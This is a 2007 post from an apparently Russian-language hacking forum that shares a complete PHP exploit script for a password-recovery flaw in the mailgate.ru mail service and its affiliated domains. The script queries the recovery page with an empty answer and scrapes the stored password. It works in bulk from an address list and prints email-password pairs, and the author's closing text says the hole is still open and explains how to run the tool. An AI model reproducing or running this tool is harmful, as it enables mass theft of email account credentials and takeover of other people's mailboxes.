CLI Mass Mailgate Retrieve Exploit

Discussion in 'Уязвимости Mail-сервисов' started by ak[id], 2 Aug 2007.

  1. ak[id]

    ak[id] Elder - Старейшина

    Joined:
    22 Jun 2007
    Messages:
    143
    Likes Received:
    95
    Reputations:
    10
    Code:
    #!/usr/bin/php -q
    
    <?php
    
    ###########################################################
    #            CLI Mass Mailgate Retrieve Exploit           #
    ###########################################################
    #                  K0dsweb Security Team                  #
    #                  http://www.kodsweb.ru                  #
    #                      (c) x4matted                       #
    ###########################################################
    # avaliable domains:    mailgate.ru,  pobox.ru,  lenta.ru #
    # netcity.ru, nc.ru,  netaddress.ru, pechkin.ru, nekto.ru #
    # newarbat.net,  presnya.net, tverskoe.net,  tverskie.net #
    # dmitrovka.net, lianozovo.net, marfino.net, sviblovo.net #
    # kosino.net, novokosino.net, novogireevo.net, perovo.net #
    # sokolniki.net, vyhino.net,  kuzminki.net, lefortovo.net #
    # konkovo.net,   butovo.net,  vnukovo.net,   ochakovo.net #
    # music.mailgate.ru,  tushino.net,  takoe.net,  takoe.com #
    # nekto.net,  nekto.com, uzhe.net, trjam.net,  mozhno.net #
    # menja.net, eshche.net,sovsem.net,iwoman.ru, sigaret.net #
    # shellov.net,  standalone.net, zdorovja.net,  viwanet.ru #
    # ipex.ru,mailserver.ru,msx.ru,marry.ru,samiznaetekogo.net#
    ###########################################################
    
    echo "[-CLI Mass Mailgate Retrieve Sploit-]\n".
         "[----------by-x4matted-(c)----------]\n".
         "[---------http://kodsweb.ru---------]\n\n".
         "Usage: [path_to_php]\php.exe mailgate.php\n".
         "       -m [ mail@mailgate.ru | [1@mailgate.ru,2@mailgate.ru] ]\n".
         "       -s source.txt ]\n\n";
    
    set_time_limit(0);
    
    # assignment of arguments to the massive $options
    $args = ($_SERVER['argv']);
    
    for ($i = 0; $i < count($args); $i++) {
        if (substr($args[$i], 0, 1) == "-") {
            if(isset($args[$i+1])) {
                $options[substr($args[$i], 1)] = $args[$i+1];
            } else {
                $options[substr($args[$i], 1)] = "";
            }
        $i++;
        }
    }
    
    if(!isset($options['m']) && !isset($options['s'])) {
        echo "No arguments are entered, or arguments are incorrect. Aborting...\n";
        exit;
    }
    
    # mail check function
    function chkmail($login, $domain) {
        if(empty($login) || empty($domain)) {
            echo "Input mail format is incorrect. Aborting...\n";
            exit;
        }
        $login = trim($login);
        $domain = trim($domain);
    
        $host = "www.mailgate.ru";
        $port = 80;
        $request = "GET /recovery/question/?email=".$login."%40".$domain."&answer= HTTP/1.1\n";
        $request.= "Host: ".$host."\n";
        $request.= "Connection: Close\n\n";
    
        $socket = fsockopen($host, $port);
        if ($socket) {
            fwrite($socket, $request);
            while(!feof($socket)) {
                $file[] = fgets($socket);
            }
        } else {
            die($errno.":\n".$errstr);
        }
        fclose($socket);
    
        foreach($file as $str) {
            $pwdstr = strstr($str, "<i>");
            $pass = strtok($pwdstr, "</i>");
            if ($pass) {
                $pwd = $pass;
            }
            $qastr = strstr($str, "<td><br /><br /><center><b>");
            if ($qastr) {
                $qa = true;
            }
        }
        if (isset($pwd)) {
            $status = $login."@".$domain.";".$pwd;
        } elseif (isset($qa)) {
            $status = $login."@".$domain." q/a setted";
        } else {
            $status = $login."@".$domain." not found";
        }
    
        return $status;
    }
    
    # exploiting
    
    if (isset($options['m'])) {
        if($options['m'] == "") {
            echo "No mails are entered. Aborting...\n";
            exit;
        } else {
            if(substr($options['m'], 0, 1) == "[" && substr(strrev($options['m']), 0, 1) == "]") {
                $options['m'] = explode(",", substr(strrev(substr(strrev($options['m']), 1)), 1));
            } else {
                $options['m'] = array($options['m']);
            }
            foreach($options['m'] as $mail) {
                list($login, $domain) = explode("@", $mail);
                echo chkmail($login, $domain)."\n";
            }
        }
    } elseif (isset($options['s'])) {
        if($options['s'] == "") {
            echo "No source file is entered. Aborting...\n";
            exit;
        } else {
            if(!file_exists(trim($options['s']))) {
                echo "File ".$options['s']." not found. Aborting...\n";
                exit;
            } elseif(filesize(trim($options['s'])) == 0) {
                echo "File ".$options['s']." is empty. Aborting...\n";
                exit;
            } else {
                $options['s'] = file($options['s']);
        
                for($i=0; $i<count($options['s']); $i++) {
                    list($login, $domain) = explode("@", $options['s'][$i]);
                    $rezult[] = chkmail($login, $domain)."\n";
                    echo "\r[";
                    for ($ii=0; $ii < round(($i+1)/count($options['s'])*50); $ii++) {
                        echo "=";
                    }
                    if (50-round(($i+1)/count($options['s'])*50)) {
                        echo ">";
                    }
                    for ($ii=0; $ii < (49-round(($i+1)/count($options['s'])*50)); $ii++) {
                        echo " ";
                    }
                    if (round(($i+1)/count($options['s'])*100) < 10) {
                        echo "]   ".round(($i+1)/count($options['s'])*100)."%";
                    } elseif (round(($i+1)/count($options['s'])*100) == 100) {
                        echo "] ".round(($i+1)/count($options['s'])*100)."%";
                    } else {
                        echo "]  ".round(($i+1)/count($options['s'])*100)."%";
                    }
                }
                echo "\n\n";
        
                foreach($rezult as $str) {
                    echo $str;
                }
            }
        }
    }
    
    ?>
    Т.к. уязвимость в почтовом сервисе Mailgate.ru ещё присутствует, то обновляем (окночательно ;) ) эксплоит. Уязвимость позволяет узнать пароль от почтового аккаунта, если на нем не установлены секретные вопрос/ответ. Эксплоит позволяет указывать единственный почтовый адрес, несколько и файл, содержащий список адресов.
    Для работы эксплоита необходим PHP интерпретатор, установленный на компьютере.
    Запускается эксплоит из командной строки - [path_to_php]\php.exe mailgate.php
    и может иметь 1 из 2 возможных параметров: -m - указание адресов в качестве параметров запуска эксплоита. Если вы хотите указать несколько адресов, то в начале и в конце поставьте открывающую и закрывающую квадратные скобки соответственно. Адреса разделите запятыми.
    -s - файл, содержащий список почтовых адресов.
    Примеры:
    mailgate.php -m admin@mailgate.ru
    mailgate.php -m [1@mailgate.ru,2@mailgate.ru,3@mailgate.ru]
    mailgate.php -s source.txt